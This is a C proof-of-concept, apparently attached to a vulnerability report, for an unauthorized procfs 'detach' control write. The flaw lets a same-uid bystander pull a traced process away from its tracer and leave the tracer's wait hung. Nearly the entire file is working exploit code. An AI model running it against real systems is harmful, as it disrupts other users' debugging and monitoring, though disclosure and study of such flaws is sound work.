DF-3226 / df3226.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-3226 PoC: /proc/<pid>/ctl "detach" requires NO authorization * (procfs_ctl.c:122 exempts DETACH from CHECKIO/p_trespass). * * Same-uid bystander D (never the tracer) can: * 1. rip victim V out of tracer T's active trace (clear P_TRACED, * delete pending SIGTRAP, reparent to the original parent, unstop) * -> T's subsequent ctl ops fail EBUSY; * 2. leave T's blocking CTL_WAIT asleep forever: procfs_control's * wakeup((caddr_t) curp) at :223 wakes the DETACHER's proc pointer, * not the sleep address T is tsleep'ing on ((caddr_t) p). * * All processes run as the same unprivileged uid. */ #include <sys/types.h> #include <sys/wait.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <err.h> #include <fcntl.h> #include <unistd.h> static int ctl(pid_t pid, const char *cmd) { char path[64]; int fd, n; snprintf(path, sizeof(path), "/proc/%d/ctl", pid); fd = open(path, O_WRONLY); if (fd < 0) return (-1); n = write(fd, cmd, strlen(cmd)); close(fd); return (n); } int main(void) { pid_t t, v, d; int status; char path[64]; fprintf(stderr, "df3226 uid %d: unauthorized ctl detach\n", getuid()); v = fork(); if (v == 0) { /* victim: stop on SIGSTOP so we have a stable trace target */ for (;;) pause(); _exit(0); } t = fork(); if (t == 0) { /* tracer T: attach V, then try to step it twice */ sleep(1); fprintf(stderr, "[T %d] ctl attach V(%d)\n", getpid(), v); if (ctl(v, "attach\n") <= 0) err(1, "attach"); sleep(2); /* bystander detaches meanwhile */ errno = 0; fprintf(stderr, "[T] ctl step V #1 after interference: "); if (ctl(v, "step\n") > 0) fprintf(stderr, "ok (unexpected)\n"); else fprintf(stderr, "failed: %s\n", strerror(errno)); fprintf(stderr, "[T] ctl run V: "); if (ctl(v, "run\n") > 0) fprintf(stderr, "ok (unexpected)\n"); else fprintf(stderr, "failed: %s\n", strerror(errno)); /* read V's status line to show PPID restored */ { char buf[2048]; int fd; snprintf(path, sizeof(path), "/proc/%d/status", v); fd = open(path, O_RDONLY); if (fd >= 0) { int n = read(fd, buf, sizeof(buf) - 1); if (n > 0) { buf[n] = 0; char *p = strstr(buf, "PPID"); if (p) { char *e = strchr(p, '\n'); if (e) *e = 0; fprintf(stderr, "[T] victim %s\n", p); } } close(fd); } } kill(v, SIGKILL); _exit(0); } d = fork(); if (d == 0) { /* bystander D: same uid, never attached anything */ sleep(2); fprintf(stderr, "[D %d] bystander writes detach to " "/proc/%d/ctl\n", getpid(), v); if (ctl(v, "detach\n") > 0) fprintf(stderr, "[D] DETACH ACCEPTED with no " "authorization\n"); else fprintf(stderr, "[D] detach failed: %s\n", strerror(errno)); _exit(0); } waitpid(d, &status, 0); waitpid(t, &status, 0); waitpid(v, &status, 0); fprintf(stderr, "df3226 done\n"); return 0; } |